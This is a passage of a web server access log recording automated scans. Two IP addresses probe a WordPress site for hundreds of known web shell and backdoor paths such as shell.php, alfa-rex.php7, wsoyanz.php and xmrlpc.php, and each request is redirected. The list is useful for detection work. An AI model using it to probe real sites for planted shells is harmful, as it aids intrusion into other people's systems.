"-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:33 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:33 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:33 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:33 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:34 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:34 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:34 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:34 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:35 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:35 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:35 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:35 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:36 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:36 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:36 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:36 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:37 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:37 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:37 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:37 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:37 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:38 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:38 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:38 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:39 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:39 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:39 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:39 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:40 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:40 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:40 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:40 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:41 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:41 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:41 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:41 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:42 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:42 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:42 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:42 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:43 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:43 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:43 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:44 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:44 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:44 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:44 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:45 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:45 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:46 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:46 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:46 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:46 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:47 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:47 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:47 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:47 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:48 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:48 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:48 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:49 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:49 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:49 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:49 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:50 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:50 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:50 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:51 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:51 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:51 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:51 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:52 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:52 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:52 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:52 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:53 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:53 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:53 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:54 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:54 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:54 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:54 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:55 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:55 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:55 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:56 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:56 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:56 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:57 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:57 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:57 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:58 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:58 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 14.215.163.132 - - [16/Apr/2025:09:24:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.148.10.235 - - [16/Apr/2025:09:26:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0" 13.90.211.168 - - [16/Apr/2025:09:34:18 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:19 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:19 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:20 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:20 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:21 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:21 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:22 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:22 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:22 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:23 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:23 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:24 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:24 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:24 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:24 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:25 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:25 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:26 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:27 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:27 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:27 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:28 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:28 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:28 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:29 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:29 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:29 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:30 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:30 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:31 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:31 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:32 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:32 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:32 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:33 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:33 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:33 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:34 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:34 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:35 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:35 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:35 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:36 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:37 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:37 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:38 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:38 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:39 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:39 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:40 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:40 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:41 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:41 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:42 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:42 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:43 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:44 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:45 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:47 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:47 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:48 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:49 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:49 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:51 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:52 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:53 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:54 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:55 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:56 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:56 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:57 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:57 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:58 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:58 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:59 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:34:59 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:00 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:00 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:01 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:02 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:03 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:03 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:03 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:04 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:04 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:05 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:06 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:06 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:07 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:07 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:08 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:11 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:12 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:13 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:14 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:14 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:15 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:15 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:15 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:16 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:17 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:17 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:17 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:18 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:18 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:19 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:19 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:20 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:20 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:20 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:21 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:21 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:21 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:22 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:22 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:23 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:23 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:24 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:24 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:25 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:25 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:26 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:26 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:26 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:27 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 